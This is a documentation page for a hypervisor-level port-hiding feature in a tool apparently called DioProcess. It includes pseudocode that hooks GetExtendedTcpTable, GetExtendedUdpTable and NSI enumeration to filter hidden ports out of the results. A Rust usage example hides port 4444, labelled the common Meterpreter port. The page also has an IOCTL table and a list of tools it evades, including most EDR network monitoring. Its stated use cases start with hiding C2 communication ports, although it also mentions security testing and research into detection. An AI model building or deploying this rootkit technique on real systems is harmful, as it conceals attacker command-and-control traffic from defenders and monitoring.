Port Hiding
Ring -1Hide TCP and UDP ports from network enumeration using hypervisor interception.
Network Stealth
Hidden ports are still functional — connections work normally. Only the visibility in enumeration tools is removed.
Overview
Port hiding intercepts network enumeration APIs at the hypervisor level. When tools like netstat, TCPView, or PowerShell query connections, the hypervisor filters the results to remove entries for hidden ports.
What Gets Hidden
- • TCP listening sockets on hidden ports
- • TCP established connections from/to hidden ports
- • UDP bound sockets on hidden ports
- • Associated process information (owner PID)
Implementation
Algorithm
// Port hiding hooks multiple IP Helper APIs
NTSTATUS HvHidePort(USHORT Port, USHORT Protocol) {
// 1. Add port to hidden ports table
AddToHiddenPortsList(Port, Protocol);
// 2. Hook GetExtendedTcpTable/GetExtendedUdpTable via EPT
// These are the core APIs used by netstat, TCPView, etc.
if (!IsNetworkTableHooked()) {
HookFunction("GetExtendedTcpTable", GetExtendedTcpTableHandler);
HookFunction("GetExtendedUdpTable", GetExtendedUdpTableHandler);
HookFunction("NsiEnumerateObjectsAllParameters", NsiEnumHandler);
}
return STATUS_SUCCESS;
}
// Hook handler for TCP table enumeration
DWORD GetExtendedTcpTableHandler(
PVOID pTcpTable,
PDWORD pdwSize,
BOOL bOrder,
ULONG ulAf,
TCP_TABLE_CLASS TableClass,
ULONG Reserved
) {
// 1. Call original GetExtendedTcpTable
DWORD Result = OriginalGetExtendedTcpTable(
pTcpTable, pdwSize, bOrder, ulAf, TableClass, Reserved
);
// 2. Filter results
if (Result == NO_ERROR && TableClass == TCP_TABLE_OWNER_PID_ALL) {
PMIB_TCPTABLE_OWNER_PID Table = (PMIB_TCPTABLE_OWNER_PID)pTcpTable;
DWORD WriteIndex = 0;
for (DWORD i = 0; i < Table->dwNumEntries; i++) {
USHORT LocalPort = ntohs((USHORT)Table->table[i].dwLocalPort);
USHORT RemotePort = ntohs((USHORT)Table->table[i].dwRemotePort);
// 3. Skip hidden ports
if (!IsPortHidden(LocalPort, IPPROTO_TCP) &&
!IsPortHidden(RemotePort, IPPROTO_TCP)) {
if (WriteIndex != i) {
Table->table[WriteIndex] = Table->table[i];
}
WriteIndex++;
}
}
// 4. Update entry count
Table->dwNumEntries = WriteIndex;
}
return Result;
}API
Usage
use callback::{hv_hide_port, hv_unhide_port, hv_list_hidden_ports, Protocol};
// Hide TCP port 4444 (common Meterpreter port)
hv_hide_port(4444, Protocol::Tcp)?;
// Hide UDP port 53 (DNS)
hv_hide_port(53, Protocol::Udp)?;
// Hide a port range
for port in 8000..=8100 {
hv_hide_port(port, Protocol::Tcp)?;
}
// List all hidden ports
let hidden: Vec<(u16, Protocol)> = hv_list_hidden_ports()?;
// Unhide a port
hv_unhide_port(4444, Protocol::Tcp)?;IOCTLs
| IOCTL | Code | Description |
|---|---|---|
| HV_HIDE_PORT | 0x870 | Hide port (port + protocol) |
| HV_UNHIDE_PORT | 0x871 | Unhide port |
| HV_LIST_HIDDEN_PORTS | 0x872 | List all hidden ports |
Detection Evasion
Port hiding at Ring -1 evades:
- ✓ netstat
- ✓ TCPView / CurrPorts
- ✓ Get-NetTCPConnection / Get-NetUDPEndpoint
- ✓ GetExtendedTcpTable / GetExtendedUdpTable
- ✓ NtDeviceIoControlFile to \Device\Nsi
- ✓ Most EDR network monitoring
Limitations
- • Packet capture (Wireshark, NDIS) still shows traffic
- • Network devices and firewalls see the connections
- • Hardware packet capture not affected
- • Does not hide from other hypervisors
- • Connection attempts logged at network perimeter
UI Access
Access via Hypervisor tab → Port Hiding section:
- • Enter port number and select TCP/UDP
- • Add multiple ports with "Add" button
- • View all hidden ports in table
- • One-click unhide option per port
Use Cases
- • Hide C2 communication ports
- • Test network security monitoring coverage
- • Research port hiding detection methods
- • Hide legitimate services from basic enumeration
Related
- • Process Hiding — Also hide the process using the port
- • Network Monitoring — View network connections in DioProcess